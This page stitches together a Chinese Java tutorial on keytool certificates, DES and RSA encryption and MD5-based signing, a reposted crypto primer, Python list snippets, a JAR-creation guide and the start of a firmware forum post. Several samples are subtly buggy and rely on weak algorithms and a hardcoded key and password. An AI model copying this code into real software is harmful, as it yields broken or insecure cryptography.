您的組織單位名稱是什么?
[Unknown]: InfosecLab
您的組織名稱是什么?
[Unknown]: InfosecLab Group
您所在的城市或區(qū)域名稱是什么?
[Unknown]: Beijing
您所在的州或省份名稱是什么?
[Unknown]: Beijing
該單位的兩字母國家代碼是什么
[Unknown]: CN
CN=Li, OU=InfosecLab, O=InfosecLab Group, L=Beijing, ST=Beijing, C=CN 正確嗎?
[否]: y
輸入<testkeypair>的主密碼 (如果和 keystore 密碼相同,按回車):
|
第二步,產(chǎn)生自簽證書,輸入以下命令:
keytool -selfcert -alias testkeypair -dname "CN=Li, OU=InfosecLab, O=InfosecLab
Group, L=Beijing, ST=Beijing, C=CN"
輸入keystore密碼: abc123
|
第三步,導(dǎo)出自簽證書,由上面兩步產(chǎn)生的證書,已經(jīng)存放在以“testkeypair”為別名的keystore入口了,如果使用其文件,必須導(dǎo)出證書。輸入:
keytool -export -rfc -alias testkeypair -file mycert.crt
輸入keystore密碼: abc123
保存在文件中的認(rèn)證 <mycert.crt>
|
這樣,就得到了一個(gè)自簽的證書mycert.crt。注意,選項(xiàng)rfc是把證書輸出為RFC1421定義的、用Base64最終編碼的格式。
讀取證書
Java為安全應(yīng)用提供了豐富的API,J2SDK1.4 的JSSE (JavaTM Secure Socket Extension) 包括javax.security.certificate包,并且提供對(duì)證書的操作方法。而對(duì)證書的讀操作,只用java.security.cert. CertificateFactory和java.security.cert.X509Certificate就可以了。下面是讀取證書內(nèi)容的部分代碼:
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.table.*;
import java.security.cert.CertificateFactory;
import java.security.cert.X509Certificate;
import java.io.*;
public class CARead extends JPanel {
private String CA_Name;
private String CA_ItemData[][] = new String[9][2];
private String[] columnNames = {"證書字段標(biāo)記","內(nèi)容" };
public CARead(String CertName) {
CA_Name=CertName;
/* 三個(gè)Panel用來顯示證書內(nèi)容*/
JTabbedPane tabbedPane = new JTabbedPane();
JPanel panelNormal = new JPanel();
tabbedPane.addTab("普通信息", panelNormal);
JPanel panelAll=new JPanel();
panelAll.setLayout(new BorderLayout());
tabbedPane.addTab("所有信息",panelAll);
JPanel panelBase64=new JPanel();
panelBase64.setLayout(new BorderLayout());
tabbedPane.addTab("Base64編碼信息",panelBase64);
/* 讀取證書常規(guī)信息 */
Read_Normal(panelNormal);
/* 讀取證書文件字符串表示內(nèi)容 */
Read_Bin(panelAll);
/* 讀取證原始Base64編碼形式的證書文件 */
Read_Raw(panelBase64);
tabbedPane.setSelectedIndex(0);
setLayout(new GridLayout(1, 1));
add(tabbedPane);
}
/*以下是定義的Read_Normal(),Read_Bin(),Read_Raw()以及main()
這里省略... */
}
|
定義證書信息的讀取函數(shù)如下:
private int Read_Normal(JPanel panel){
String Field;
try{
CertificateFactory certificate_factory=CertificateFactory.getInstance("X.509");
FileInputStream file_inputstream=new FileInputStream(CA_Name);
X509Certificate
x509certificate=(X509Certificate)certificate_factory.generateCertificate
(file_inputstream);
Field=x509certificate.getType();
CA_ItemData[0][0]="類型";
CA_ItemData[0][1]=Field;
Field=Integer.toString(x509certificate.getVersion());
CA_ItemData[1][0]="版本";
CA_ItemData[1][1]=Field;
Field=x509certificate.getSubjectDN().getName();
CA_ItemData[2][0]="標(biāo)題";
CA_ItemData[2][1]=Field;
/* 以下類似,這里省略
Field=x509certificate.getNotBefore().toString();得到開始有效日期
Field=x509certificate. getNotAfter().toString();得到截止日期
Field=x509certificate.getSerialNumber().toString(16);得到序列號(hào)
Field=x509certificate.getIssuerDN().getName();得到發(fā)行者名
Field=x509certificate.getSigAlgName();得到簽名算法
Field=x509certificate.getPublicKey().getAlgorithm();得到公鑰算法 */
file_inputstream.close();
final JTable table = new JTable(CA_ItemData, columnNames);
TableColumn tc=null;
tc = table.getColumnModel().getColumn(1);
tc.setPreferredWidth(600);
panel.add(table);
}catch(Exception exception){
exception.printStackTrace();
return -1;
}
return 0;
}
|
如果以字符串形式讀取證書,加入下面Read_Bin這個(gè)函數(shù)。其中CertificateFactory.generateCertificate() 這個(gè)函數(shù)可以從證書標(biāo)準(zhǔn)編碼(RFC1421定義)中解出可讀信息。Read_Bin函數(shù)代碼如下:
private int Read_Bin(JPanel panel){
try{
FileInputStream file_inputstream=new FileInputStream(CA_Name);
DataInputStream data_inputstream=new DataInputStream(file_inputstream);
CertificateFactory certificatefactory=CertificateFactory.getInstance("X.509");
byte[] bytes=new byte[data_inputstream.available()];
data_inputstream.readFully(bytes);
ByteArrayInputStream bais=new ByteArrayInputStream(bytes);
JEditorPane Cert_EditorPane;
Cert_EditorPane=new JEditorPane();
while(bais.available()>0){
X509Certificate
Cert=(X509Certificate)certificatefactory.generateCertificate(bais);
Cert_EditorPane.setText(Cert_EditorPane.getText()+Cert.toString());
}
Cert_EditorPane.disable();
JScrollPane edit_scroll=new JScrollPane(Cert_EditorPane);
panel.add(edit_scroll);
file_inputstream.close();
data_inputstream.close();
}catch( Exception exception){
exception.printStackTrace();
return -1;
}
return 0;
}
|
如果要得到原始證書編碼后的信息,則可用如下代碼:
private int Read_Raw(JPanel panel){
try{
JEditorPane Cert_EditorPane=new JEditorPane();
String CertText=null;
File inputFile = new File(CA_Name);
FileReader in = new FileReader(inputFile);
char[] buf=new char[2000];
int len=in.read(buf,0,2000);
for(int i=1;i<len;i++)
{
CertText=CertText+buf[i];
}
in.close();
Cert_EditorPane.setText(CertText);
Cert_EditorPane.disable();
JScrollPane edit_scroll=new JScrollPane(Cert_EditorPane);
panel.add(edit_scroll);
}catch( Exception exception){
exception.printStackTrace();
return -1;
}
return 0;
}
|
最后用這個(gè)小程序看一看剛才生成的證書mycert.crt內(nèi)容,把文件名寫入main()中:
public static void main(String[] args) {
JFrame frame = new JFrame("證書閱讀器");
frame.addWindowListener(new WindowAdapter() {
public void windowClosing(WindowEvent e) {System.exit(0);}
});
frame.getContentPane().add(new CARead("mycert.crt"),BorderLayout.CENTER);
frame.setSize(700, 425);
frame.setVisible(true);
}
|
證書mycert.crt的內(nèi)容顯示如圖2所示,所有信息和Base64的顯示內(nèi)容,這里不再列舉。
圖2 證書mycert.crt的內(nèi)容顯示
現(xiàn)在已經(jīng)讀取了證書的一些內(nèi)容,那么怎樣使用證書呢?我們可以假設(shè)A和B要共享一個(gè)絕密的文件F,B信任并擁有A的證書,也就是說B擁有A的公鑰。那么A通過A和B共知的加密算法(對(duì)稱密鑰算法,比如DES算法)先加密文件F,然后對(duì)加密后的F進(jìn)行簽名和散列摘要(比如MD5算法,目的是保證文件的完整性),然后把F發(fā)送到B。B收到文件后,先用A的證書中的公鑰驗(yàn)證簽名,然后再用通過共知的加密算法解密,就可以得到原文件了。這里使用的數(shù)字簽名,可以保證B得到的文件,就是A的,A不能否認(rèn)其不擁有文件F,因?yàn)橹挥蠥擁有可以讓A的公鑰驗(yàn)證其簽名的私鑰,同時(shí)這里使用DES算法加密,使得文件有保密性。
使用DES算法的加密解密函數(shù)類似,這里不對(duì)加密算法做進(jìn)一步討論,詳細(xì)請(qǐng)看J2SDK的JSE部分內(nèi)容,加密簽名、解密驗(yàn)證文件結(jié)構(gòu)見圖3。
圖3 加密簽名、解密驗(yàn)證文件結(jié)構(gòu)圖
加密函數(shù)中的desKeyData存放DES加密密鑰,如果要在程序中指定,可以設(shè)置為:
static byte[] desKeyData = { (byte)0x01, (byte)0x02, (byte)0x03, (byte)0x04,
(byte)0x05, (byte)0x06, (byte)0x07, (byte)0x08 };
|
加密函數(shù)寫成:
public static void crypt(byte[] cipherText,String outFileName){
try{
DESKeySpec desKeySpec = new DESKeySpec(desKeyData);
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey secretKey = keyFactory.generateSecret(desKeySpec);
Cipher cdes = Cipher.getInstance("DES");
cdes.init(Cipher.ENCRYPT_MODE, secretKey);
byte[] ct = cdes.doFinal(cipherText);
try{
FileOutputStream out=new FileOutputStream(outFileName);
out.write(ct);
out.close();
}catch(IOException e){
e.printStackTrace();
}
}catch (Exception e){
e.printStackTrace();
}
}
|
其中ct就是加密后的內(nèi)容,outFileName保存加密后文件的文件名。把cdes.init(Cipher.ENCRYPT_MODE, secretKey)換成cdes.init(Cipher.DECRYPT_MODE, secretKey)就是解密文件了。
文件加密后就要對(duì)文件簽名,保證A發(fā)送到B的文件不可偽造。下面是用存放在.keystore中的私鑰進(jìn)行簽名的函數(shù),簽名使用的摘要算法是MD5。其中sigText是被簽名內(nèi)容的輸入數(shù)組,outFileName是保存簽名后輸出文件的名稱,KeyPassword是讀取Keystore使用的密碼,KeyStorePath是存放.keystore文件的路徑,函數(shù)代碼如下:
public static void sig(byte[] sigText, String outFileName,String
KeyPassword,String KeyStorePath){
char[] kpass;
int i;
try{
KeyStore ks = KeyStore.getInstance("JKS");
FileInputStream ksfis = new FileInputStream(KeyStorePath);
BufferedInputStream ksbufin = new BufferedInputStream(ksfis);
kpass=new char[KeyPassword.length()];
for(i=0;i<KeyPassword.length();i++)
kpass[i]=KeyPassword.charAt(i);
ks.load(ksbufin, kpass);
PrivateKey priv = (PrivateKey) ks.getKey(KeystoreAlias,kpass );
Signature rsa=Signature.getInstance("MD5withRSA");
rsa.initSign(priv);
rsa.update(sigText);
byte[] sig=rsa.sign();
System.out.println("sig is done");
try{
FileOutputStream out=new FileOutputStream(outFileName);
out.write(sig);
out.close();
}catch(IOException e){
e.printStackTrace();
}
}catch(Exception e){
e.printStackTrace();
}
}
|
驗(yàn)證簽名需要存放簽名文件和被簽名的文件以及證書,其中,updateData存放被簽名文件的內(nèi)容,sigedText存放得到的簽名內(nèi)容,CertName是證書名。驗(yàn)證簽名代碼如下:
public static void veriSig(byte[] updateData, byte[] sigedText){
try{
CertificateFactory
certificatefactory=CertificateFactory.getInstance("X.509");
FileInputStream fin=new FileInputStream(CertName);
X509Certificate
certificate=(X509Certificate)certificatefactory.generateCertificate(fin);
PublicKey pub = certificate.getPublicKey();
Signature rsa=Signature.getInstance("MD5withRSA");
rsa.initVerify(pub);
rsa.update(updateData);
boolean verifies=rsa.verify(sigedText);
System.out.println("verified "+verifies);
if(verifies){
System.out.println("Verify is done!");
}else{
System.out.println("verify is not successful");
}
}catch(Exception e){
e.printStackTrace();
}
}
|
可以用keytool產(chǎn)生兩個(gè)自簽的簽名證書,或者到某個(gè)CA去申請(qǐng)兩個(gè)證書。用Java編寫加密和驗(yàn)證程序,上述例子只是一個(gè)非常簡單的證書應(yīng)用,實(shí)際協(xié)議對(duì)證書的使用(比如SSL)要比這個(gè)復(fù)雜多了。
Java加密和數(shù)字簽名編程快速入門
本文主要談一下密碼學(xué)中的加密和數(shù)字簽名,以及其在java中如何進(jìn)行使用。對(duì)密碼學(xué)有興趣的伙伴,推薦看Bruce Schneier的著作:Applied Crypotography。在jdk1.5的發(fā)行版本中安全性方面有了很大的改進(jìn),也提供了對(duì)RSA算法的直接支持,現(xiàn)在我們從實(shí)例入手解決問題(本文僅是作為簡單介紹):
本文主要談一下密碼學(xué)中的加密和數(shù)字簽名,以及其在java中如何進(jìn)行使用。對(duì)密碼學(xué)有興趣的伙伴,推薦看Bruce Schneier的著作:Applied Crypotography。在jdk1.5的發(fā)行版本中安全性方面有了很大的改進(jìn),也提供了對(duì)RSA算法的直接支持,現(xiàn)在我們從實(shí)例入手解決問題(本文僅是作為簡單介紹):
一、密碼學(xué)上常用的概念
1)消息摘要:
這是一種與消息認(rèn)證碼結(jié)合使用以確保消息完整性的技術(shù)。主要使用單向散列函數(shù)算法,可用于檢驗(yàn)消息的完整性,和通過散列密碼直接以文本形式保存等,目前廣泛使用的算法有MD4、MD5、SHA-1,jdk1.5對(duì)上面都提供了支持,在java中進(jìn)行消息摘要很簡單, java.security.MessageDigest提供了一個(gè)簡易的操作方法:
-
-
-
-
- import java.security.MessageDigest;
-
-
-
- public class MessageDigestExample{
- public static void main(String[] args) throws Exception{
- if(args.length!=1){
- System.err.println("Usage:java MessageDigestExample text");
- System.exit(1);
- }
-
- byte[] plainText=args[0].getBytes("UTF8");
-
-
- MessageDigest messageDigest=MessageDigest.getInstance("SHA-1");
-
- System.out.println("\n"+messageDigest.getProvider().getInfo());
-
- messageDigest.update(plainText);
- System.out.println("\nDigest:");
-
- System.out.println(new String(messageDigest.digest(),"UTF8"));
- }
- }
還可以通過消息認(rèn)證碼來進(jìn)行加密實(shí)現(xiàn),javax.crypto.Mac提供了一個(gè)解決方案,有興趣者可以參考相關(guān)API文檔,本文只是簡單介紹什么是摘要算法。
2)私鑰加密:
消息摘要只能檢查消息的完整性,但是單向的,對(duì)明文消息并不能加密,要加密明文的消息的話,就要使用其他的算法,要確保機(jī)密性,我們需要使用私鑰密碼術(shù)來交換私有消息。
這種最好理解,使用對(duì)稱算法。比如:A用一個(gè)密鑰對(duì)一個(gè)文件加密,而B讀取這個(gè)文件的話,則需要和A一樣的密鑰,雙方共享一個(gè)私鑰(而在web環(huán)境下,私鑰在傳遞時(shí)容易被偵聽):
使用私鑰加密的話,首先需要一個(gè)密鑰,可用javax.crypto.KeyGenerator產(chǎn)生一個(gè)密鑰(java.security.Key),然后傳遞給一個(gè)加密工具(javax.crypto.Cipher),該工具再使用相應(yīng)的算法來進(jìn)行加密,主要對(duì)稱算法有:DES(實(shí)際密鑰只用到56位),AES(支持三種密鑰長度:128、192、256位),通常首先128位,其他的還有DESede等,jdk1.5種也提供了對(duì)對(duì)稱算法的支持,以下例子使用AES算法來加密:
-
-
-
-
- import javax.crypto.Cipher;
- import javax.crypto.KeyGenerator;
- import java.security.Key;
-
-
- *私鈅加密,保證消息機(jī)密性
- */
- public class PrivateExample{
- public static void main(String[] args) throws Exception{
- if(args.length!=1){
- System.err.println("Usage:java PrivateExample <text>");
- System.exit(1);
- }
- byte[] plainText=args[0].getBytes("UTF8");
-
-
- System.out.println("\nStart generate AES key");
- KeyGenerator keyGen=KeyGenerator.getInstance("AES");
- keyGen.init(128);
- Key key=keyGen.generateKey();
- System.out.println("Finish generating DES key");
-
-
- Cipher cipher=Cipher.getInstance("AES/ECB/PKCS5Padding");
- System.out.println("\n"+cipher.getProvider().getInfo());
-
-
- System.out.println("\nStart encryption:");
- cipher.init(Cipher.ENCRYPT_MODE,key);
- byte[] cipherText=cipher.doFinal(plainText);
- System.out.println("Finish encryption:");
- System.out.println(new String(cipherText,"UTF8"));
-
- System.out.println("\nStart decryption:");
- cipher.init(Cipher.DECRYPT_MODE,key);
- byte[] newPlainText=cipher.doFinal(cipherText);
- System.out.println("Finish decryption:");
-
- System.out.println(new String(newPlainText,"UTF8"));
-
- }
- }
3)公鑰加密:
上面提到,私鑰加密需要一個(gè)共享的密鑰,那么如何傳遞密鑰呢?web環(huán)境下,直接傳遞的話很容易被偵聽到,幸好有了公鑰加密的出現(xiàn)。公鑰加密也叫不對(duì)稱加密,不對(duì)稱算法使用一對(duì)密鑰對(duì),一個(gè)公鑰,一個(gè)私鑰,使用公鑰加密的數(shù)據(jù),只有私鑰能解開(可用于加密);同時(shí),使用私鑰加密的數(shù)據(jù),只有公鑰能解開(簽名)。但是速度很慢(比私鑰加密慢100到1000倍),公鑰的主要算法有RSA,還包括Blowfish,Diffie-Helman等,jdk1.5種提供了對(duì)RSA的支持,是一個(gè)改進(jìn)的地方:
-
-
-
-
- import java.security.Key;
- import javax.crypto.Cipher;
- import java.security.KeyPairGenerator;
- import java.security.KeyPair;
-
-
-
- public class PublicExample{
- public static void main(String[] args) throws Exception{
- if(args.length!=1){
- System.err.println("Usage:java PublicExample <text>");
- System.exit(1);
- }
-
- byte[] plainText=args[0].getBytes("UTF8");
-
- System.out.println("\nStart generating RSA key");
- KeyPairGenerator keyGen=KeyPairGenerator.getInstance("RSA");
- keyGen.initialize(1024);
- KeyPair key=keyGen.generateKeyPair();
- System.out.println("Finish generating RSA key");
-
-
- Cipher cipher=Cipher.getInstance("RSA/ECB/PKCS1Padding");
- System.out.println("\n"+cipher.getProvider().getInfo());
-
- System.out.println("\nStart encryption");
- cipher.init(Cipher.ENCRYPT_MODE,key.getPublic());
- byte[] cipherText=cipher.doFinal(plainText);
- System.out.println("Finish encryption:");
- System.out.println(new String(cipherText,"UTF8"));
-
-
- System.out.println("\nStart decryption");
- cipher.init(Cipher.DECRYPT_MODE,key.getPrivate());
- byte[] newPlainText=cipher.doFinal(cipherText);
- System.out.println("Finish decryption:");
- System.out.println(new String(newPlainText,"UTF8"));
- }
- }
4)數(shù)字簽名:
數(shù)字簽名,它是確定交換消息的通信方身份的第一個(gè)級(jí)別。上面A通過使用公鑰加密數(shù)據(jù)后發(fā)給B,B利用私鑰解密就得到了需要的數(shù)據(jù),問題來了,由于都是使用公鑰加密,那么如何檢驗(yàn)是A發(fā)過來的消息呢?上面也提到了一點(diǎn),私鑰是唯一的,那么A就可以利用A自己的私鑰進(jìn)行加密,然后B再利用A的公鑰來解密,就可以了;數(shù)字簽名的原理就基于此,而通常為了證明發(fā)送數(shù)據(jù)的真實(shí)性,通過利用消息摘要獲得簡短的消息內(nèi)容,然后再利用私鑰進(jìn)行加密散列數(shù)據(jù)和消息一起發(fā)送。java中為數(shù)字簽名提供了良好的支持,java.security.Signature類提供了消息簽名:
-
-
-
-
- import java.security.Signature;
- import java.security.KeyPairGenerator;
- import java.security.KeyPair;
- import java.security.SignatureException;
-
-
-
-
- public class DigitalSignature2Example{
- public static void main(String[] args) throws Exception{
- if(args.length!=1){
- System.err.println("Usage:java DigitalSignature2Example <text>");
- System.exit(1);
- }
-
- byte[] plainText=args[0].getBytes("UTF8");
-
- System.out.println("\nStart generating RSA key");
- KeyPairGenerator keyGen=KeyPairGenerator.getInstance("RSA");
- keyGen.initialize(1024);
-
- KeyPair key=keyGen.generateKeyPair();
- System.out.println("Finish generating RSA key");
-
- Signature sig=Signature.getInstance("SHA1WithRSA");
- sig.initSign(key.getPrivate());
- sig.update(plainText);
- byte[] signature=sig.sign();
- System.out.println(sig.getProvider().getInfo());
- System.out.println("\nSignature:");
- System.out.println(new String(signature,"UTF8"));
-
-
- System.out.println("\nStart signature verification");
- sig.initVerify(key.getPublic());
- sig.update(plainText);
- try{
- if(sig.verify(signature)){
- System.out.println("Signature verified");
- }else System.out.println("Signature failed");
- }catch(SignatureException e){
- System.out.println("Signature failed");
- }
- }
- }
5)數(shù)字證書。
還有個(gè)問題,就是公鑰問題,A用私鑰加密了,那么B接受到消息后,用A提供的公鑰解密;那么現(xiàn)在有個(gè)討厭的C,他把消息攔截了,然后用自己的私鑰加密,同時(shí)把自己的公鑰發(fā)給B,并告訴B,那是A的公鑰,結(jié)果....,這時(shí)候就需要一個(gè)中間機(jī)構(gòu)出來說話了(相信權(quán)威,我是正確的),就出現(xiàn)了Certificate Authority(也即CA),有名的CA機(jī)構(gòu)有Verisign等,目前數(shù)字認(rèn)證的工業(yè)標(biāo)準(zhǔn)是:CCITT的X.509:
數(shù)字證書:它將一個(gè)身份標(biāo)識(shí)連同公鑰一起進(jìn)行封裝,并由稱為認(rèn)證中心或 CA 的第三方進(jìn)行數(shù)字簽名。
密鑰庫:java平臺(tái)為你提供了密鑰庫,用作密鑰和證書的資源庫。從物理上講,密鑰庫是缺省名稱為 .keystore 的文件(有一個(gè)選項(xiàng)使它成為加密文件)。密鑰和證書可以擁有名稱(稱為別名),每個(gè)別名都由唯一的密碼保護(hù)。密鑰庫本身也受密碼保護(hù);您可以選擇讓每個(gè)別名密碼與主密鑰庫密碼匹配。
使用工具keytool,我們來做一件自我認(rèn)證的事情吧(相信我的認(rèn)證):
1、創(chuàng)建密鑰庫keytool -genkey -v -alias feiUserKey -keyalg RSA 默認(rèn)在自己的home目錄下(windows系統(tǒng)是c:\documents and settings\<你的用戶名> 目錄下的.keystore文件),創(chuàng)建我們用 RSA 算法生成別名為 feiUserKey 的自簽名的證書,如果使用了-keystore mm 就在當(dāng)前目錄下創(chuàng)建一個(gè)密鑰庫mm文件來保存密鑰和證書。
2、查看證書:keytool -list 列舉了密鑰庫的所有的證書
也可以在dos下輸入keytool -help查看幫助。
二、JAR的簽名
我們已經(jīng)學(xué)會(huì)了怎樣創(chuàng)建自己的證書了,現(xiàn)在可以開始了解怎樣對(duì)JAR文件簽名,JAR文件在Java中相當(dāng)于 ZIP 文件,允許將多個(gè) Java 類文件打包到一個(gè)具有 .jar 擴(kuò)展名的文件中,然后可以對(duì)這個(gè)jar文件進(jìn)行數(shù)字簽名,以證實(shí)其來源和真實(shí)性。該 JAR 文件的接收方可以根據(jù)發(fā)送方的簽名決定是否信任該代碼,并可以確信該內(nèi)容在接收之前沒有被篡改過。同時(shí)在部署中,可以通過在策略文件中放置訪問控制語句根據(jù)簽名者的身份分配對(duì)機(jī)器資源的訪問權(quán)。這樣,有些Applet的安全檢驗(yàn)訪問就得以進(jìn)行。
使用jarsigner工具可以對(duì)jar文件進(jìn)行簽名:
現(xiàn)在假設(shè)我們有個(gè)Test.jar文件(可以使用jar命令行工具生成):
jarsigner Test.jar feiUserKey (這里我們上面創(chuàng)建了該別名的證書) ,詳細(xì)信息可以輸入jarsigner查看幫助
驗(yàn)證其真實(shí)性:jarsigner -verify Test.jar(注意,驗(yàn)證的是jar是否被修改了,但不檢驗(yàn)減少的,如果增加了新的內(nèi)容,也提示,但減少的不會(huì)提示。)
使用Applet中:<applet code="Test.class" archive="Test.jar" width="150" height="100"></applet>然后瀏覽器就會(huì)提示你:準(zhǔn)許這個(gè)會(huì)話-拒絕-始終準(zhǔn)許-查看證書等。
三、安全套接字層(SSL Secure Sockets Layer)和傳輸層安全性(TLS Transport Layer Security)
安全套接字層和傳輸層安全性是用于在客戶機(jī)和服務(wù)器之間構(gòu)建安全的通信通道的協(xié)議。它也用來為客戶機(jī)認(rèn)證服務(wù)器,以及(不太常用的)為服務(wù)器認(rèn)證客戶機(jī)。該協(xié)議在瀏覽器應(yīng)用程序中比較常見,瀏覽器窗口底部的鎖表明 SSL/TLS 有效:
1)當(dāng)使用 SSL/TLS(通常使用 https:// URL)向站點(diǎn)進(jìn)行請(qǐng)求時(shí),從服務(wù)器向客戶機(jī)發(fā)送一個(gè)證書。客戶機(jī)使用已安裝的公共 CA 證書通過這個(gè)證書驗(yàn)證服務(wù)器的身份,然后檢查 IP 名稱(機(jī)器名)與客戶機(jī)連接的機(jī)器是否匹配。
2)客戶機(jī)生成一些可以用來生成對(duì)話的私鑰(稱為會(huì)話密鑰)的隨機(jī)信息,然后用服務(wù)器的公鑰對(duì)它加密并將它發(fā)送到服務(wù)器。服務(wù)器用自己的私鑰解密消息,然后用該隨機(jī)信息派生出和客戶機(jī)一樣的私有會(huì)話密鑰。通常在這個(gè)階段使用 RSA 公鑰算法。
3)客戶機(jī)和服務(wù)器使用私有會(huì)話密鑰和私鑰算法(通常是 RC4)進(jìn)行通信。使用另一個(gè)密鑰的消息認(rèn)證碼來確保消息的完整性。
java中javax.net.ssl.SSLServerSocketFactory類提供了一個(gè)很好的SSLServerSocker的工廠類,熟悉Socket編程的讀者可以去練習(xí)。當(dāng)編寫完服務(wù)器端之后,在瀏覽器上輸入https://主機(jī)名:端口 就會(huì)通過SSL/TLS進(jìn)行通話了。注意:運(yùn)行服務(wù)端的時(shí)候要帶系統(tǒng)環(huán)境變量運(yùn)行:javax.net.ssl.keyStore=密鑰庫(創(chuàng)建證書時(shí),名字應(yīng)該為主機(jī)名,比如localhost)和javax.net.ssl.keyStorePassword=你的密碼
原文: http://www.yesky.com/253/1911753.shtml
>>>params={'s':'sv','a':'av','b':'bv'}
>>>params.keys()
['a', 's', 'b']
>>>params.values()
['av', 'sv', 'bv']
>>>params.items()
[('a', 'av'), ('s', 'sv'), ('b', 'bv')]
>>>[k for k,v in params.items()]
['a', 's', 'b']
>>>[v for k,v in params.items()]
['av', 'sv', 'bv']
>>>["%s=%s" % (k,v) for k,v in params.items()]
['a=av', 's=sv', 'b=bv']
字符串格式化與字符串連接的比較
>>>count =6
>>>print "count is %d" % (count,)
count is 6
>>>
print "count is %s" % (count,)
count is 6
>>>
print "count is %f" % (count,)
count is 6.000000
>>>
print "count is %.2f" % (count,)
count is 6.00
>>>
print "count is " +count
Traceback (most recent call last):
File "<console>", line 1, in <module>
TypeError: cannot concatenate 'str' and 'int' objects
1. list extend (擴(kuò)展) 與 append (追加) 的差別
>>>li=['a','b']
>>>li.extend(['c','d'])
>>>li
['a', 'b', 'c', 'd']
>>>li.append(['e','f'])
>>>li
['a', 'b', 'c', 'd',['e','f']]
2. 搜索 搜索 list
>>>li.index('b')
>>>li
1
3
. List 運(yùn)算符+ 和 ×
>>>
li = ['a', 'b']
>>>
li = li + ['example', 'new']
>>>
li
['a', 'b', 'example', 'new']
>>>
li += ['two']
>>>
li
['a', 'b', 'example', 'new', 'two']
>>>
li = [1, 2] * 3
>>>
li
[1, 2, 1, 2, 1, 2]
4.何謂 Python 中的 True
·0為false; 其它所有數(shù)值皆為 true。
·空串 ("") 為false; 其它所有字符串皆為 true。
·空list ([])為false; 其它所有字符串皆為 true。
·空 tuple (()) 為false; 其它所有字符串皆為 true。
·空 dictionary ({}) 為false; 其它所有字符串皆為 true。
Creating a JAR File
The basic format of the command for creating a JAR file is:
jar cf jar-file input-file(s)
Let's look at the options and arguments used in this command:
- The
c
option indicates that you want to create a JAR file.
- The
f
option indicates that you want the output to go to a file rather than to stdout.
jar-file
is the name that you want the resulting JAR file to have. You can use any filename for a JAR file. By convention, JAR filenames are given a .jar
extension, though this is not required.
- The
input-file(s)
argument is a space-delimited list of one or more files that you want to be placed in your JAR file. The input-file(s)
argument can contain the wildcard *
symbol. If any of the "input-files" are directories, the contents of those directories are added to the JAR archive recursively.
The c
and f
options can appear in either order, but there must not be any space between them.
This command will generate a compressed JAR file and place it in the current directory. The command will also generate a default manifest file for the JAR archive.
You can add any of these additional options to the cf
options of the basic command:
Option |
Description |
v |
Produces verbose output on stderr (in version 1.1) or stdout (in version 1.2) while the JAR file is being built. The verbose output tells you the name of each file as it's added to the JAR file. |
0 (zero) |
Indicates that you don't want the JAR file to be compressed. |
M |
Indicates that the default manifest file should not be produced. |
m |
Used to include manifest information from an existing manifest file. The format for using this option is:
jar cmf existing-manifest jar-file input-file(s)
See Modifying a Manifest for more information about his option. |
-C |
To change directories during execution of the command. Version 1.2 only. See below for an example. |
In version 1.1, the JAR-file format supports only ASCII filenames. Version 1.2 adds support for UTF8-encoded names.
An Example
Let's look at an example. The JDK demos include a simple
TicTacToe
applet. This demo contains a bytecode class file, audio files, and images all housed in a directory called
TicTacToe
having this structure:
The audio
and images
subdirectories contain sound files and GIF images used by the applet.
To package this demo into a single JAR file named TicTacToe.jar
, you would run this command from inside the TicTacToe
directory:
jar cvf TicTacToe.jar TicTacToe.class audio images
The audio
and images
arguments represent directories, so the Jar tool will recursively place them and their contents in the JAR file. The generated JAR file TicTacToe.jar
will be placed in the current directory. Because the command used the v
option for verbose output, you'd see something similar to this output when you run the command:
adding: TicTacToe.class
(in=3825) (out=2222) (deflated 41%)
adding: audio/ (in=0) (out=0) (stored 0%)
adding: audio/beep.au
(in=4032) (out=3572) (deflated 11%)
adding: audio/ding.au
(in=2566) (out=2055) (deflated 19%)
adding: audio/return.au
(in=6558) (out=4401) (deflated 32%)
adding: audio/yahoo1.au
(in=7834) (out=6985) (deflated 10%)
adding: audio/yahoo2.au
(in=7463) (out=4607) (deflated 38%)
adding: images/ (in=0) (out=0) (stored 0%)
adding: images/cross.gif
(in=157) (out=160) (deflated -1%)
adding: images/not.gif
(in=158) (out=161) (deflated -1%)
|
You can see from this output that the JAR file TicTacToe.jar
is compressed. The Jar tool compresses files by default. You can turn off the compression feature by using the 0
(zero) option, so that the command would look like:
jar cvf0 TicTacToe.jar TicTacToe.class audio images
You might want to avoid compression, for example, to increase the speed with which a JAR file could be loaded by a browser. Uncompressed JAR files can generally be loaded more quickly than compressed files because the need to decompress the files during loading is eliminated. However, there's a tradeoff in that download time over a network may be longer for larger, uncompressed files.
The Jar tool will accept arguments that use the wildcard *
symbol. As long as there weren't any unwanted files in the TicTacToe
directory, you could have used this alternative command to construct the JAR file:
jar cvf TicTacToe.jar *
Though the verbose output doesn't indicate it, the Jar tool automatically adds a manifest file to the JAR archive with pathname META-INF/MANIFEST.MF
. See the Understanding the Manifest section for information about manifest files.
In the above example, the files in the archive retained their relative pathnames and directory structure. The Jar tool in version 1.2 of the Java Development Kit provides the -C
option that you can use to create a JAR file in which the relative paths of the archived files are not preserved. It's modeled after GZIP's -C
option.
As an example, suppose you wanted put audio files and gif images used by the TicTacToe demo into a JAR file, and that you wanted all the files to be on the top level, with no directory hierarchy. You could accomplish that by issuing this command from the parent directory of the images
and audio
directories:
jar cf ImageAudio.jar -C images * -C audio *
The -C images
part of this command directs the Jar tool to go to the images
directory, and the *
following -C images
directs the Jar tool to archive all the contents of that directory. The -C audio *
part of the command then does the same with the audio
directory. The resulting JAR file would have this table of contents:
META-INF/MANIFEST.MF
cross.gif
not.gif
beep.au
ding.au
return.au
yahoo1.au
yahoo2.au
|
By contrast, suppose that you used a command that didn't employ the -C
option:
jar cf ImageAudio.jar images audio
The resulting JAR file would have this table of contents:
META-INF/MANIFEST.MF
images/cross.gif
images/not.gif
audio/beep.au
audio/ding.au
audio/return.au
audio/yahoo1.au
audio/yahoo2.au
|
版本與固件刷包知識(shí)講解
看到可能很多朋友對(duì)于G1版本的不解,我就把我的理解發(fā)出來分享給大家
如果有疑問或者建議可以提出來,我們互相學(xué)習(xí)進(jìn)步,有不對(duì)的指出請(qǐng)指出,新手也可以看看,幫助學(xué)習(xí)理解G1的版本問題。
杰尼原創(chuàng),轉(zhuǎn)載請(qǐng)注明
通常我們所說的關(guān)鍵詞有很多比如RC30 RC8 RC33 JFV1.31 JFV.1.41 漢化包 主題包 降級(jí)包之類的
下面我來詳細(xì)解釋下。
